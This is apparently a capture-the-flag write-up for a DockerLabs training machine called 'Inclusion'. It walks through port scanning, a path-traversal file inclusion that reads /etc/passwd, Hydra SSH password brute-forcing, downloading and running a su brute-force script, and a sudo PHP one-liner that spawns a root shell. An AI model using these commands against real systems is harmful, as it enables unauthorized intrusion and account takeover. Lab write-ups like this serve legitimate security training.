> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/medium/inclusion.md).
# Inclusion
## 1 - Reconnaissance
We begin with a fast **Nmap** scan to identify open ports:
`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`
**Result: ports 22 and 80 are open**
## 2 - Enumeration
Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:
`nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`
(Inclusion) Targeted Port Scan
We tried to find exploits or shellcodes for the services running via `searchsploit` but we found nothing. We will start now exploring the website before enumerating directories. We only found the **Apache2 Debian Default page**, so we will start with directory enumeration.
With
```bash
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt
```
we found:
**/shop -> Accessing this will show an interesting error message:**
(Inclusion) Interesting Error Message
As we can see, it's trying to access the value of the parameter **archivo** but on the URL there is none. Visiting `172.17.0.2/shop/?archivo=/etc/passwd` make the website change, so we start adding `../` at the start of the parameter value until we list something. We end up with: `http://172.17.0.2/shop/?archivo=../../../../etc/passwd` and the **LFI** completed.
(Inclusion) LFI Done
We can see that 2 users have **/bin/bash**, so they're potential users that we could use. After running
```
hydra -l seller -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```
we found nothing, so we tried:
```
hydra -l manchi -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```
and we got valid credentials:
(Inclusion) Manchi Credentials
## 3 - Exploitation
Once we connect through **SSH** we don't find anything useful inside `manchi`, so having the username of another user with **/bin/bash**, we decide to run a **Su Bruteforcer**.
We get out temporarily from the **SSH** connection, and run:
```bash
wget https://raw.githubusercontent.com/Maalfer/Sudo_BruteForce/main/Linux-Su-Force.sh
scp /usr/share/wordlists/rockyou.txt manchi@172.17.0.2:/home/manchi
scp Linux-Su-Force.sh manchi@172.17.0.2:/home/manchi
```
That way, we have the **su bruteforcer**, and the needed wordlist in `/home/manchi`. Running:
```
./Linux-Su-Force.sh seller rockyou.txt
```
will end up giving us valid credentials:
(Inclusion) Seller Credentials
After that, we ran `sudo -l` and we found a misconfiguration allowing us to run `sudo` on `/usr/bin/php`, letting us use an exploit from **GTFOBins** to escalate privileges.
## 5 - Privilege Escalation
As we can run `/usr/bin/php` as **root**, we will use this:
```bash
CMD="/bin/sh"
sudo php -r "system('$CMD');"
```
That exploit will spawn us a root shell:
(Inclusion) Privilege Escalation
## 6 - Summary
**Initial Access:**\
Discovered a Local File Inclusion vulnerability in the `/shop` endpoint, which allowed reading `/etc/passwd`. Brute-forced SSH credentials for user `manchi` using Hydra and the RockYou wordlist.
**Exploitation:**\
Used a local brute-force script from `manchi`'s account to crack the password of another user, `seller`. Logged in as `seller` and found `sudo` permissions on `/usr/bin/php`, which enabled privilege escalation.
**Privilege Escalation:**\
Abused `sudo` rights on `/usr/bin/php` to execute a shell command and gain root access via a GTFOBins technique.